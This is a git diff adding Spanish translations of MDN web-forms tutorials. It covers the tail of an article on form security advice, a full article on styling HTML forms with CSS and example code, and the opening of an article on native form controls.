+<p>Este tipo de ataques pueden ocurrir cuando su aplicación se basa cabeceras HTTP o mensajes de correo electrónico basado en la entrada de datos por un usuario en un formulario. Estos no dañan directamente su servidor o afectan a sus usuarios, pero son una puerta abierta a problemas más profundos tales como el secuestro de sesión o ataques de phishing.</p>
+
+<p>Estos ataques son en su mayoría en silencio, y pueden volver a su servidor en un <a href="http://en.wikipedia.org/wiki/Zombie_(computer_science)" rel="exernal" title="http://en.wikipedia.org/wiki/Zombie_(computer_science)">zombi</a> .</p>
+
+<h3 id="Sea_paranoico_Nunca_confíe_en_sus_usuarios">Sea paranoico: Nunca confíe en sus usuarios</h3>
+
+<p>Entonces, ¿cómo se lucha contra estas amenazas? Este es un tema mucho más allá de esta guía, pero hay algunas reglas a tener en cuenta. La regla más importante es: nunca vuelva a confiar en sus usuarios, incluyáse a sí mismo; incluso un usuario de confianza podría haber sido secuestrado.</p>
+
+<p>Todos los datos que vienen a su servidor deben comprobarse y ser desinfectados. Siempre. Sin excepción.</p>
+
+<ul>
+ <li>Escapar caracteres potencialmente peligrosos. Los caracteres específicos con los que debe tener cuidado variarán dependiendo del contexto en el que se utilizan los datos y la plataforma de servidores que emplean, pero todos los lenguajes del lado del servidor tienen funciones de este.</li>
+ <li>Limite la cantidad de entrada de datos para permitir sólo lo necesario.</li>
+ <li>Sandbox subido archivos (almacenarlos en un servidor diferente y permitir el acceso al archivo sólo a través de un subdominio diferente o incluso mejor a través de un nombre de dominio totalmente diferente).</li>
+</ul>
+
+<p>Debería evitar muchos o  la mayoría de estos problemas, si sigue estas tres reglas, pero siempre es una buena idea  obtener una revisión de seguridad realizada por una tercera parte competente. No asuma que usted ha visto todos los posibles problemas.</p>
+
+<div class="note">
+<p><strong>Nota</strong> : La <a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">seguridad del sitio web</a> el artículo de nuestro <a href="/en-US/docs/Learn/Server-side">lado del servidor</a> tema de aprendizaje analiza las amenazas anteriores y las posibles soluciones con más detalle.</p>
+</div>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>Como se puede ver, el envío de los datos del formulario es fácil, pero asegurar una aplicación puede ser complicado. Sólo recuerde que un desarrollador de aplicaciones para usuario no es el que debe definir el modelo de seguridad de los datos. Sí, como veremos, es posible <a href="/en-US/docs/HTML/Forms/Data_form_validation" title="/ es-ES / docs / HTML / Formularios / Data_form_validation">realizar la validación de los datos del lado del cliente</a> , pero el servidor no puede confiar en esta validación porque no tiene manera de saber realmente lo que  sucede en el lado del cliente.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<p>Si desea obtener más información sobre la seguridad de una aplicación web, se puede excavar en estos recursos:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/First_steps">programación web del lado del servidor primeros pasos</a></li>
+ <li><a href="https://www.owasp.org/index.php/Main_Page" rel="external" title="https://www.owasp.org/index.php/Main_Page">El Proyecto Open Web Application Security (OWASP)</a></li>
+ <li><a href="http://shiflett.org/" rel="external" title="http://shiflett.org/">el blog de Chris Shiflett sobre Seguridad en PHP</a></li>
+</ul>
+
+<p>{{PreviousMenuNext ( "Aprende / html / Formularios / The_native_form_widgets", "Saber / html / Formularios / Form_validation", "Aprender / html / Forms")}}</p>
diff --git a/files/es/learn/html/forms/styling_html_forms/index.html b/files/es/learn/html/forms/styling_html_forms/index.html
new file mode 100644
index 0000000000..26b4173ee8
--- /dev/null
+++ b/files/es/learn/html/forms/styling_html_forms/index.html
@@ -0,0 +1,345 @@
+---
+title: Estilizando formularios HTML
+slug: Learn/HTML/Forms/Styling_HTML_forms
+translation_of: Learn/Forms/Styling_web_forms
+---
+<p>En este artículo aprenderemos como utilizar <a href="/es/docs/Web/CSS">CSS</a> con formularios <a href="/es/docs/Web/HTML">HTML</a>  para hacerlos más atractivos. Aunque parezca extraño, esto es algo que puede llegar a ser complicado. Por razones históricas y técnicas, los widgets de formulario no suelen llevarse bien con CSS. Por este motivo, muchos desarrolladores prefieren <a href="https://developer.mozilla.org/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">construir sus propios widgets</a> para tener el control de su aspecto en vez de utilizar los nativos. De todas formas, con los modernos navegadores, los diseñadores web <span style="line-height: 23.3333339691162px;">cada vez</span><span style="line-height: 1.5;"> tienen  más control sobre el diseño de los elementos de formulario. Vamos a profundizar en esto.</span></p>
+
+<h2 id="¿Porqué_es_tan_difícil_aplicar_estilos_a_formularios_con_CSS">¿Porqué es tan difícil aplicar estilos a formularios con CSS?</h2>
+
+<p>En los principios de la Web —allá por1995—se añadieron los controles de formulario en la <a href="http://www.ietf.org/rfc/rfc1866.txt">2ª especificación HTML.</a> Debido a la complejidad de los widgets de formulario, los implementadores prefirieron dejar que el sistema operativo subyacente se encargara de su manejo y presentación.</p>
+
+<p>Pocos años después,  se creó<span style="line-height: 23.3333339691162px;"> </span><span style="line-height: 1.5;">CSS y lo que era una necesidad técnica</span>— es decir, el uso de widgets nativos para implementar controles de formulario—empezó a requerir estilizado. Y en los primeros días de CSS, el estilizado de formularios no fué una prioridad.</p>
+
+<p>Por otra parte, como los usuarios estaban acostumbrados a la apariencia visual de sus plataformas respectivas, los fabricantes de navegadores fueron reacios a hacer que los controles de formularios pudieran recibir estilos.</p>
+
+<p>Hoy en día, ni siquiera uno solo de los navegadores actuales implementa <span style="line-height: 23.3333339691162px;">completamente</span><span style="line-height: 1.5;"> a CSS 2.1. Afortunadamente, con el tiempo, los fabricantes de navegadores han ido mejorado su soporte a CSS para los elementos de formulario e, incluso considerando que su usabilidad tiene mala reputación, actualmente, ya se puede usar CSS para estilizar </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Forms" style="line-height: 1.5;">formularios HTML.</a></p>
+
+<h3 id="No_todos_los_widgets_se_crean_igual_con_CSS">No todos los widgets se crean igual con CSS</h3>
+
+<p>Actualmente aun se encuentran dificultades cuando se utiliza CSS con formularios; estos problemas se pueden dividir en tres categorías.</p>
+
+<h4 id="El_bueno">El bueno</h4>
+
+<p>A algunos elementos se les puede dar estilo con pocos o ningún problema independientemente de la plataforma. Entre estos se incluyen los siguientes elementos estructurales:</p>
+
+<ol>
+ <li>{{HTMLElement("form")}}</li>
+ <li>{{HTMLElement("fieldset")}}</li>
+ <li>{{HTMLElement("label")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/output">&lt;output&gt;</a></li>
+</ol>
+
+<p style="line-height: 23.3333339691162px;">Esto también incluye todos los campos de texto (tanto los de línea simple como los de línea múltiple) y los botones.</p>
+
+<ol style="line-height: 23.3333339691162px;">
+</ol>
+
+<p style="line-height: 18px; font-size: 1.28571428571429rem;">El malo</p>
+
+<p>Hay otros elementos a los que raramente se les puede aplicar estilos y pueden llegar a requerir  <span style="line-height: 23.3333339691162px;">técnicas</span><span style="line-height: 1.5;"> complejas y </span><span style="line-height: 1.5;">ocasionalmente necesitan conocimientos avanzados de CSS3.</span></p>
+
+<p>Entre estos se incluyen el elemento {{HTMLElement("legend")}} ; que no puede posicionarse adecuadamente en todas las plataformas.  Los elementos checkbox y los botones de radio no permiten que se le apliquen estilos directamente;  de todas formas, gracias a CSS3 esto puede soslayarse. Al contenido de  <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input#attr-placeholder">placeholder </a>no se le puede aplicar estilo de ninguna forma convencional; sin embargo, todos los navegadores que lo implementan  también implementan pseudo-elementos<span style="line-height: 23.3333339691162px;"> o </span><span style="line-height: 1.5;">pseud</span><span style="line-height: 1.5;">o-clases propi</span>etarias que permiten darles estilo<span style="line-height: 1.5;">.</span></p>
+
+<p><span style="line-height: 1.5;">Veremos como trabajar con estos casos específicos en el artículo </span><a href="/en-US/docs/Advanced_styling_for_HTML_forms" style="line-height: 23.3333339691162px;" title="/en-US/docs/Advanced_styling_for_HTML_forms">Advanced styling for HTML forms</a><span style="line-height: 23.3333339691162px;">.</span></p>
+
+<h4 id="El_feo">El feo</h4>
+
+<p>En algunos elementos, simplemente no se puede utilizar CSS. Estos son todos los elementos avanzados de interface de usuario tales como los controles range, color, o date, e igualmente pasa con los widgets desplegables como <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/select">select</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/option">option</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/optgroup">optgropup </a>y <a href="/es/docs/HTML/Elemento/datalist">datalist</a>. Respecto al selector de archivos, es bien sabido que no puede aplicarse estilo en absoluto. Los nuevos elementos <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/progress">progress </a>y <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meter">meter </a>también caen dentro de esta categoría.</p>
+
+<p>El principal problema con todos estos widgets viene de que todos ellos tienen una estructura muy compleja y CSS no es lo suficientemente expresivo para estilizar cada una de sus sutiles partes. Si lo que se quiere es personalizar estos widgets se deberá recurrir a javaScript para construir un árbol DOM que te permita acceder a ellos. Para aprender como conseguirlo mirar en el artículo <a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets" style="line-height: 23.3333339691162px; text-decoration: underline;" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets"><span style="line-height: 23.3333339691162px;"><u>How to </u></span>build<span style="line-height: 23.3333339691162px;"><u> </u></span>custom<span style="line-height: 23.3333339691162px;"><u> </u></span>form<span style="line-height: 23.3333339691162px;"><u> </u></span>widgets</a>.</p>
+
+<h2 id="Estilizado_básico">Estilizado básico</h2>
+
+<p>Aplicar estilos a <a href="https://developer.mozilla.org/es/docs/Web/Guide/HTML/Forms/Styling_HTML_forms#El_bueno">elementos que son fáciles de estilizar</a> con CSS, no debería suponer ninguna dificultad ya que básicamente se comportan como cualquier otro elemento HTML. De todas formas, el agente de usuario de estilos para cada navegador puede mostrar pequeñas inconsistencias por lo que a continuación daremos algunos trucos para ayudar a aplicar estilos más cómodamente.</p>
+
+<h3 id="Campos_de_búsqueda">Campos de búsqueda</h3>
+
+<p>Las cajas de búsqueda son el único tipo de campo de texto que pueden ofrecer más dificultad al aplicar estilos. En los navegadores basados en webkit (Chrome, Safari, etc.) se debe lidiar con la propiedad -webkit-. Discutiremos esta propiedad más tarde en el artículo: <a href="/en-US/docs/Advanced_styling_for_HTML_forms" style="line-height: 23.3333339691162px; text-decoration: underline;" title="/en-US/docs/Advanced_styling_for_HTML_forms">Advanced styling for HTML forms</a><span style="line-height: 23.3333339691162px;">.</span></p>
+
+<h4 id="Ejemplo">Ejemplo</h4>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;input type="search"&gt;
+&lt;/form&gt;
+</pre>
+
+<pre class="brush: css">input[type=search] {
+  border: 1px dotted #999;
+  border-radius: 0;
+
+  -webkit-appearance: none;
+}</pre>
+
+<p><img alt="This is a screenshot of a search filed on Chrome, with and without the use of -webkit-appearance" src="/files/4153/search-chrome-macos.png" style="border-style: solid; border-width: 1px; height: 107px; width: 179px;"></p>
+
+<p>En esta captura de pantalla pueden verse dos campos de búsqueda en Chrome, ambos campos tienen definido el borde como en nuestro ejemplo, pero el primero no utiliza -webkit- mientras que el segundo si lo hace con -webkit-appearance:none. Las diferencias son evidentes.</p>
+
+<h3 id="Fuentes_y_texto">Fuentes y texto</h3>
+
+<p>Las fuentes y capacidades de texto de CSS  se pueden utilizar sin problemas en cualquier widget (y sí, se puede utilizar <a href="/es/docs/Web/CSS/@font-face">@font-face</a> en formularios). De todas formas, el comportamiento de los navegadores no es siempre consistente. Por defecto, algunos widgets no heredan <a href="/es/docs/Web/CSS/font-family">font-family</a> ni <a href="/es/docs/Web/CSS/font-size">font-size</a> de sus antecesores. Y muchos navegadores utilizan la apariencia por defecto. Para mantener la coherencia de los formularios con el resto de elementos se deben añadir las siguientes reglas a la hoja de estilos:</p>
+
+<pre class="brush: css">button, input, select, textarea {
+  font-family : inherit;
+  font-size   : 100%;
+}</pre>
+
+<p>La siguiente captura de pantalla muestra estas incosistencias; a la izquierda la apariencia por defecto en Firefox sobre Mac OS X, usando las fuentes por defecto de la plataforma. A la derecha los mismos elementos aplicando nuestras reglas de armonización de fuentes.</p>
+
+<p><img alt="This is a screenshot of the main form widgets on Firefox on Mac OSX, with and without font harmonization" src="/files/4157/font-firefox-macos.png" style="border-style: solid; border-width: 1px; height: 234px; width: 420px;"></p>
+
+<p>Hay muchas controversia sobre si los formularios tienen mejor aspecto usando los estilos por defecto del sistema o usando estilos personalizados que coincidan con el resto del contenido. Como diseñador del sitio o aplicación Web esta decisión  es suya.</p>
+
+<h3 id="Modelo_de_cajas">Modelo de cajas</h3>
+
+<p>Todos los campos de texto tienen soporte completo para las propiedades relacionadas con el modelo de cajas de CSS (<a href="/es/docs/Web/CSS/width">width</a>, <a href="/es/docs/Web/CSS/height">height</a>, <a href="/es/docs/Web/CSS/padding_paspartu">padding</a>, margin y <a href="/es/docs/CSS/border">border</a>). Igual que antes, los navegadores se remiten a los estilos por defecto del sistema cuando muestran estos widgets. A cada cual te corresponde el como combinarlos dentro del resto de contenido. Si  se quieres mantener el aspecto nativo de los widgets, entonces hay que afrontar pequeñas inconsistencias de tamaño.</p>
+
+<p>Esto es porque cada widget tiene sus propias reglas para el orden, margen y padding. Por lo que si quieres darle el mismo tamaño a varios widgets diferentes se debe usar la propiedad box-sizing: </p>
+
+<pre class="brush: css">input, textarea, select, button {
+  width : 150px;
+  margin: 0;
+
+  -webkit-box-sizing: border-box; /* For legacy WebKit based browsers */
+     -moz-box-sizing: border-box; /* For legacy (Firefox &lt;29) Gecko based browsers */
+          box-sizing: border-box;
+}</pre>
+
+<p><img alt="This is a screenshot of the main form widgets on Chrome on Windows 7, with and without the use of box-sizing." src="/files/4161/size-chrome-win7.png" style="border-style: solid; border-width: 1px; height: 213px; width: 358px;"></p>
+
+<p>En la captura de pantalla de arriba, la columna la izquierda es sin utilizar box-sizing, mientras que la de la derecha usa esta propiedad con el valor border-box. Obsérvese cómo esto permite asegurar que todos los elementos ocupan la misma cantidad de espacio, independientemente de las reglas por defecto de la plataforma.</p>
+
+<h3 id="Posicionado">Posicionado</h3>
+
+<p>El posicionado de formularios HTML <span style="line-height: 23.3333339691162px;">no es </span><span style="line-height: 1.5;">generalmente  un problema; sin embargo, hay dos elementos a los que prestar una especial atención:</span></p>
+
+<h4 id="legend">legend</h4>
+
+<p>El elemento <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/legend">legend </a>no tiene problemas de estilizado a excepción de las reglas de posición. En los navegadores el elemento <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/legend">legend </a>se posiciona encima del borde superior de su antecesor <a href="/es/docs/HTML/Elemento/fieldset">fieldset</a>. No existe ninguna posibilidad de colocarlo dentro del flujo HTML más allá del borde superior. Sin embargo se puede posicionar de forma relativa o absoluta mediante la propiedad position. En cualquier caso sigue siendo parte del borde de fieldset.</p>
+
+<p>Debido a que el elemento legend es muy importante por razones de accesibilidad (esto es lo que leen las tecnologías de asistencia como parte de las etiquetas de cada elemento de formulario dentro del fieldset), bastante menudo se empareja con un título que se oculta pero siendo aun accesible, de la forma siguiente:</p>
+
+<h5 id="HTML">HTML</h5>
+
+<pre class="brush: html">&lt;fieldset&gt;
+  &lt;legend&gt;Hi!&lt;/legend&gt;
+  &lt;h1&gt;Hello&lt;/h1&gt;
+&lt;/fieldset&gt;</pre>
+
+<h5 id="CSS">CSS</h5>
+
+<pre class="brush: css">legend {
+  width: 1px;
+  height: 1px;
+  overflow: hidden;
+}</pre>
+
+<h4 id="textarea">textarea</h4>
+
+<p>Por defecto, todos los navegadores consideran el elemento <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/textarea">textarea </a>como un inline block alineado con la línea base del texto. Esto es algo que raramente es lo que en realidad se quiere. Para convertir este elemento de un inline-block a uno tipo block, se realiza bastante fácilmente utilizando la propiedad <a href="/es/docs/CSS/display">display</a>. Si lo que quieres es utilizarlo inline, es corriente cambiar la alineación vertical: </p>
+
+<pre class="brush: css">textarea {
+  vertical-align: top;
+}</pre>
+
+<h2 id="Ejemplo_2">Ejemplo</h2>
+
+<p>Vamos a ver un ejemplo de como aplicar estilo a un formulario HTML. Esto nos ayudará a tener las ideas más claras. A continuación construiremos el siguiente formulario de contacto de esta postal:</p>
+
+<p><img alt="This is what we want to achieve with HTML and CSS" src="/files/4149/screenshot.png" style="border-style: solid; border-width: 1px; height: 249px; width: 370px;"></p>
+
+<h3 id="HTML_2">HTML</h3>
+
+<p>El HTML  incluye poco más de lo que se utiliza en el primer artículo de <a href="/en-US/docs/HTML/Forms/My_first_HTML_form">esta guía</a>; apenas el título y algún ID más.</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;h1&gt;to: Mozilla&lt;/h1&gt;
+
+  &lt;div id="from"&gt;
+    &lt;label for="name"&gt;from:&lt;/label&gt;
+    &lt;input type="text" id="name" name="user_name"&gt;
+  &lt;/div&gt;
+
+  &lt;div id="reply"&gt;
+    &lt;label for="mail"&gt;reply:&lt;/label&gt;
+    &lt;input type="email" id="mail" name="user_email"&gt;
+  &lt;/div&gt;
+
+  &lt;div id="message"&gt;
+    &lt;label for="msg"&gt;Your message:&lt;/label&gt;
+    &lt;textarea id="msg" name="user_message"&gt;&lt;/textarea&gt;
+  &lt;/div&gt;
+
+  &lt;div class="button"&gt;
+    &lt;button type="submit"&gt;Send your message&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS_2">CSS</h3>
+
+<p>¿Aqui es donde empieza la diversión! Antes de empezar a codificar, necesitamos tres elementos adicionales:</p>
+
+<ol>
+ <li>El <a href="https://developer.mozilla.org/files/4151/background.jpg">fondo </a>de la postal</li>
+ <li>Una fuente tipográfica: <a href="http://www.fontsquirrel.com/fonts/Secret-Typewriter" rel="external" title="http://www.fontsquirrel.com/fonts/Secret-Typewriter">la "Secret Typewriter" de fontsquirrel.com</a></li>
+ <li>Una fuente manuscrita: <a href="http://www.fontsquirrel.com/fonts/Journal" rel="external" title="http://www.fontsquirrel.com/fonts/Journal">la "Journal" fde fontsquirrel.com</a></li>
+</ol>
+
+<p>Ahora podemos repasar el código. Primero preparamos las bases definiendo las reglas <span style="line-height: 23.3333339691162px;"> </span><a href="https://developer.mozilla.org/es/docs/Web/CSS/@font-face" style="line-height: 23.3333339691162px;" title="@font-face permite al autor especificar fuentes online para visualizar en sus páginas web. Al permitir a los autores proporcionar sus propias fuentes, @font-face elimina la necesidad de depender del numero limitado de fuentes de usuarios instaladas en sus computadoras."><code>@font-face</code></a> y los elementos básicos de <a href="https://developer.mozilla.org/es/docs/Web/HTML/Elemento/body" style="line-height: 23.3333339691162px;" title="This article hasn't been written yet. Please consider contributing!"><code>&lt;body&gt;</code></a> y <a href="https://developer.mozilla.org/es/docs/Web/HTML/Elemento/form" style="line-height: 23.3333339691162px;" title="This article hasn't been written yet. Please consider contributing!"><code>&lt;form&gt;</code></a><span style="line-height: 23.3333339691162px;"> </span></p>
+
+<pre class="brush: css">@font-face{
+  font-family : "handwriting";
+
+  src : url('journal.eot');
+  src : url('journal.eot?') format('eot'),
+        url('journal.woff') format('woff'),
+        url('journal.ttf') format('truetype');
+}
+
+@font-face{
+  font-family : "typewriter";
+
+  src : url('veteran_typewriter.eot');
+  src : url('veteran_typewriter.eot?') format('eot'),
+        url('veteran_typewriter.woff') format('woff'),
+        url('veteran_typewriter.ttf') format('truetype');
+}
+
+body {
+  font  : 21px sans-serif;
+
+  padding : 2em;
+  margin  : 0;
+
+  background : #222;
+}
+
+form {
+  position: relative;
+
+  width  : 740px;
+  height : 498px;
+  margin : 0 auto;
+
+  background: #FFF url(background.jpg);
+}</pre>
+
+<p>Ahora podemos posicionar los elementos, incluidos el título y los elementos del formulario.</p>
+
+<pre class="brush: css">h1 {
+  position : absolute;
+  left : 415px;
+  top  : 185px;
+
+  font : 1em "typewriter", sans-serif;
+}
+
+#from {
+  position: absolute;
+  left : 398px;
+  top  : 235px;
+}
+
+#reply {
+  position: absolute;
+  left : 390px;
+  top  : 285px;
+}
+
+#message {
+  position: absolute;
+  left : 20px;
+  top  : 70px;
+}</pre>
+
+<p>Aquí es donde empezamos a trabajar los propios elementos. Primero, nos aseguramos que los elementos <span style="line-height: 23.3333339691162px;"> </span><a href="https://developer.mozilla.org/es/docs/Web/HTML/Elemento/label" style="line-height: 23.3333339691162px;" title="This article hasn't been written yet. Please consider contributing!"><code>&lt;label&gt;</code></a> reciben la fuente correcta.</p>
+
+<pre class="brush: css">label {
+  font : .8em "typewriter", sans-serif;
+}</pre>
+
+<p>Los campos de texto necesitan algunas reglas comunes. Dicho simplemente, le quitamos bordes y fondos y redefinimos el padding y margin.</p>
+
+<pre class="brush: css">input, textarea {
+  font    : .9em/1.5em "handwriting", sans-serif;
+
+  border  : none;
+  padding : 0 10px;
+  margin  : 0;
+  width   : 240px;
+
+  background: none;
+}</pre>
+
+<p>Cuando uno de estos campos recibe el foco, vamos a resaltarlo con un fondo transparente gris claro. Tome nota de que es importante añadir la propiedad <span style="line-height: 23.3333339691162px;"> </span><a class="new" href="https://developer.mozilla.org/es/docs/Web/CSS/outline" style="color: rgb(153, 0, 0); line-height: 23.3333339691162px;" title="The documentation about this has not yet been written; please consider contributing!"><code>outline</code></a><span style="line-height: 23.3333339691162px;"> </span> para quitar el resaltado de enfoque añadido por defecto por algunos navegadores.</p>
+
+<pre class="brush: css">input:focus, textarea:focus {
+  background   : rgba(0,0,0,.1);
+  border-radius: 5px;
+  outline      : none;
+}</pre>
+
+<p>Ahora que nuestros campos de texto están terminados, necesitamos ajustar como se muestran los campos de simple y múltiple línea para que coincidan, ya que lo normal es que por defecto no se vean igual.</p>
+
+<p>El campo de línea simple requiere de algunos trucos para que se vean bien en Internet Explorer. Internet Explorer no define la altura de los campos basándose en la altura natural de la fuente (lo cual es el comportamiento normal del resto de navegadores). Para corregir esto necesitamos añadir explícitamente la altura a los campos de la siguiente forma:</p>
+
+<pre class="brush: css">input {
+    height: 2.5em; /* for IE */
+    vertical-align: middle; /* This is optional but it makes legacy IEs look better */
+}</pre>
+
+<p>Los elementos <code style="color: rgb(153, 0, 0); line-height: 23.3333339691162px;"><a class="new" href="https://developer.mozilla.org/es/docs/Web/HTML/Elemento/textarea" style="color: rgb(153, 0, 0); line-height: 23.3333339691162px;" title="This article hasn't been written yet. Please consider contributing!">&lt;textarea&gt;</a> </code>se muestran por defecto como bloques, Las dos cosas importantes aquí son las propiedades  <a class="new" href="https://developer.mozilla.org/es/docs/Web/CSS/resize" style="color: rgb(153, 0, 0); line-height: 19.0909080505371px;" title="The documentation about this has not yet been written; please consider contributing!"><code>resize</code></a><span style="line-height: 19.0909080505371px;"> y </span><code style="line-height: 19.0909080505371px;"><a href="https://developer.mozilla.org/es/docs/Web/CSS/overflow" style="line-height: 19.0909080505371px;" title="La propiedad CSS overflow  especifica: si recortar contenido, dibujar barras de desplazamiento o mostrar el contenido excedente en un elemento a nivel de bloque.">overflow</a>. </code>Ya que nuestro <code style="line-height: 19.0909080505371px;">diseño </code>es de tamaño fijo, utilizaremos la propiedad <code>resize</code> para impedir que el usuario pueda cambiar el tamaño de los campos multilínea. La propiedad <span style="line-height: 19.0909080505371px;"> </span><a href="https://developer.mozilla.org/es/docs/Web/CSS/overflow" style="line-height: 19.0909080505371px;" title="La propiedad CSS overflow  especifica: si recortar contenido, dibujar barras de desplazamiento o mostrar el contenido excedente en un elemento a nivel de bloque."><code>overflow</code></a><span style="line-height: 19.0909080505371px;"> </span> se utiliza para que el campo se muestre de forma más consistente a través de diversos navegadores; algunos de ellos ponen por defecto esta propiedad en <code>auto</code>, pero en nuestro caso, es mejor asegurarse de que todos estén en <code>auto.</code></p>
+
+<pre class="brush: css">textarea {
+  display : block;
+
+  padding : 10px;
+  margin  : 10px 0 0 -10px;
+  width   : 340px;
+  height  : 360px;
+
+  resize  : none;
+  overflow: auto;
+}</pre>
+
+<p>El elemento <code style="line-height: 19.0909080505371px;"><a href="https://developer.mozilla.org/es/docs/Web/HTML/Elemento/button" style="line-height: 19.0909080505371px;" title="This article hasn't been written yet. Please consider contributing!">&lt;button&gt;</a> </code>se acomoda muy bien a CSS; se puede hacer lo que se quiera con el, ¡incluso utilizando<code style="line-height: 19.0909080505371px;"> <a href="https://developer.mozilla.org/en-US/docs/CSS/Pseudo-elements">pseudo-elementos</a>!</code></p>
+
+<pre class="brush: css">button {
+  position     : absolute;
+  left         : 440px;
+  top          : 360px;
+
+  padding      : 5px;
+
+  font         : bold .6em sans-serif;
+  border       : 2px solid #333;
+  border-radius: 5px;
+  background   : none;
+
+  cursor       : pointer;
+
+-webkit-transform: rotate(-1.5deg);
+   -moz-transform: rotate(-1.5deg);
+    -ms-transform: rotate(-1.5deg);
+     -o-transform: rotate(-1.5deg);
+        transform: rotate(-1.5deg);
+}
+
+button:after {
+  content: " &gt;&gt;&gt;";
+}
+
+button:hover,
+button:focus {
+  outline   : none;
+  background: #000;
+  color   : #FFF;
+}</pre>
+
+<p>Y ¡listo! Sientase libre de probarlo usted mismo; como comprobará ¡esto funciona!</p>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>Como puede verse, mientras que queramos construir formularios solo con campos de texto y botones, es sencillo aplicarles estilos con CSS. Si desea saber más pequeños trucos de CSS que le hagan más fácil la vida al trabajar con formularios, echele un vistazo a la parte de formularios de <a href="http://necolas.github.com/normalize.css" rel="external" style="line-height: 19.0909080505371px;" title="http://necolas.github.com/normalize.css">the normalize.css project</a><span style="line-height: 19.0909080505371px;">.</span></p>
+
+<p><span style="line-height: 19.0909080505371px;">En el próximo artículo, veremos como manejar widgets de formulario de la categoría de "el malo" y "el feo".</span></p>
diff --git a/files/es/learn/html/forms/the_native_form_widgets/index.html b/files/es/learn/html/forms/the_native_form_widgets/index.html
new file mode 100644
index 0000000000..c8a2651837
--- /dev/null
+++ b/files/es/learn/html/forms/the_native_form_widgets/index.html
@@ -0,0 +1,326 @@
+---
+title: Controles de formulario originales
+slug: Learn/HTML/Forms/The_native_form_widgets
+translation_of: Learn/Forms/Basic_native_form_controls
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Forms/How_to_structure_an_HTML_form", "Learn/Forms/HTML5_input_types", "Learn/Forms")}}</div>
+
+<p class="summary">En el <a href="/es/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">artículo anterior</a>, marcamos un ejemplo de formulario web funcional, presentamos algunos controles de formulario y elementos estructurales comunes, y nos centramos en las mejores prácticas de accesibilidad. A continuación, veremos con detalle las funciones de los diferentes controles de formulario, o <em>widgets</em>, y estudiaremos todas las diferentes opciones de que se dispone para la recopilación de diferentes tipos de datos. En este artículo en particular, veremos el conjunto original de controles de formulario, disponible en todos los navegadores desde los primeros días de la web.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática y de <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">lenguaje HTML</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Comprender en detalle el conjunto original de controles de formulario originales disponibles en los navegadores para la recopilación de datos y su implementación con HTML.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Ya conoces algunos elementos de formulario, incluidos {{HTMLelement ('form')}}, {{HTMLelement ('fieldset')}}, {{HTMLelement ('legend')}}, {{HTMLelement ('textarea' )}}, {{HTMLelement ('label')}}, {{HTMLelement ('button')}} y {{HTMLelement ('input')}}. Este artículo expone:</p>
+
+<ul>
+ <li>Los tipos de entrada comunes {{HTMLelement('input/button', 'button')}}, {{HTMLelement('input/checkbox', 'checkbox')}}, {{HTMLelement('input/file', 'file')}}, {{HTMLelement('input/hidden', 'hidden')}}, {{HTMLelement('input/image', 'image')}}, {{HTMLelement('input/password', 'password')}}, {{HTMLelement('input/radio', 'radio')}}, {{HTMLelement('input/reset', 'reset')}}, {{HTMLelement('input/submit', 'submit')}} y {{HTMLelement('input/text', 'text')}}.</li>
+ <li>Algunos de los atributos que comunes para todos los controles de formulario.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Las características que se consideran en este artículo son compatibles con todos los navegadores, lo que no es el caso para todos los controles de formulario. En los próximos dos artículos vamos a exponer los controles de formulario que se han añadido a HTML5 más recientemente. Si quieres una referencia más avanzada, consulta nuestra <a href="/es/docs/Web/HTML/Elemento#Formularios">referencia a elementos de formulario HTML</a>, y en particular nuestra extensa referencia a <a href="/es/docs/Web/HTML/Elemento/input">tipos &lt;input&gt;</a>.</p>
+</div>
+
+<h2 id="Campos_de_entrada_de_texto">Campos de entrada de texto</h2>
+
+<p>Los campos de texto {{htmlelement ("input")}} son los controles de formulario más básicos. Son un modo muy cómodo de permitir al usuario introducir cualquier tipo de datos, y ya hemos visto algunos ejemplos sencillos.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Los campos de texto de los formularios HTML son controles de entrada de texto sencillos sin formato. Esto significa que no puedes usarlos para aplicar una <a href="/en-US/docs/Rich-Text_Editing_in_Mozilla" title="/en-US/docs/Rich-Text_Editing_in_Mozilla">edición enriquecida </a> (negrita, cursiva, etc.). Todos los controles de formulario que encuentres con texto enriquecido son controles de formulario personalizados creados con HTML, CSS y JavaScript.</p>
+</div>
+
+<p>Todos los controles de texto básicos comparten algunos comportamientos comunes:</p>
+
+<ul>
+ <li>Se pueden marcar como {{htmlattrxref ("readonly","input")}} (el usuario no puede modificar el valor de entrada, pero este se envía con el resto de los datos del formulario) o {{htmlattrxref ("disabled","input")}} (el valor de entrada no se puede modificar y nunca se envía con el resto de los datos del formulario).</li>
